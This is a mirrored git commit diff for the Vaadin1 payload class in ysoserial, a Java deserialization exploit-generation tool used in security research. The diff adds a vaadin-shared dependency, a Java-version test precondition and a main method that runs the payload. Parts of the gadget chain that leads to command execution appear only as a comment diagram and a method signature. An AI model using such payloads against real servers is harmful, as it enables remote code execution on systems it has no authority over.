mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-21 22:50:46 +08:00
additional dependency added, precondition badattrvalexcobj
This commit is contained in:
@@ -7,10 +7,14 @@ import com.vaadin.data.util.PropertysetItem;
|
|||||||
|
|
||||||
import ysoserial.payloads.annotation.Authors;
|
import ysoserial.payloads.annotation.Authors;
|
||||||
import ysoserial.payloads.annotation.Dependencies;
|
import ysoserial.payloads.annotation.Dependencies;
|
||||||
|
import ysoserial.payloads.annotation.PayloadTest;
|
||||||
import ysoserial.payloads.util.Gadgets;
|
import ysoserial.payloads.util.Gadgets;
|
||||||
|
import ysoserial.payloads.util.JavaVersion;
|
||||||
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
import ysoserial.payloads.util.Reflections;
|
import ysoserial.payloads.util.Reflections;
|
||||||
|
|
||||||
@Dependencies ( { "com.vaadin:vaadin-server:7.7.14" })
|
@Dependencies ( { "com.vaadin:vaadin-server:7.7.14", "com.vaadin:vaadin-shared:7.7.14" })
|
||||||
|
@PayloadTest ( precondition = "isApplicableJavaVersion")
|
||||||
@Authors({ Authors.KULLRICH })
|
@Authors({ Authors.KULLRICH })
|
||||||
public class Vaadin1 implements ObjectPayload<Object>
|
public class Vaadin1 implements ObjectPayload<Object>
|
||||||
{
|
{
|
||||||
@@ -50,9 +54,8 @@ public class Vaadin1 implements ObjectPayload<Object>
|
|||||||
// | v |
|
// | v |
|
||||||
// | TemplatesImpl.getOutputProperties() |
|
// | TemplatesImpl.getOutputProperties() |
|
||||||
// | |
|
// | |
|
||||||
// | |
|
|
||||||
// | |
|
|
||||||
// +------------------------------------------------+
|
// +------------------------------------------------+
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public Object getObject (String command) throws Exception
|
public Object getObject (String command) throws Exception
|
||||||
{
|
{
|
||||||
@@ -68,4 +71,12 @@ public class Vaadin1 implements ObjectPayload<Object>
|
|||||||
return b;
|
return b;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static boolean isApplicableJavaVersion() {
|
||||||
|
return JavaVersion.isBadAttrValExcReadObj();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(final String[] args) throws Exception {
|
||||||
|
PayloadRunner.run(Vaadin1.class, args);
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user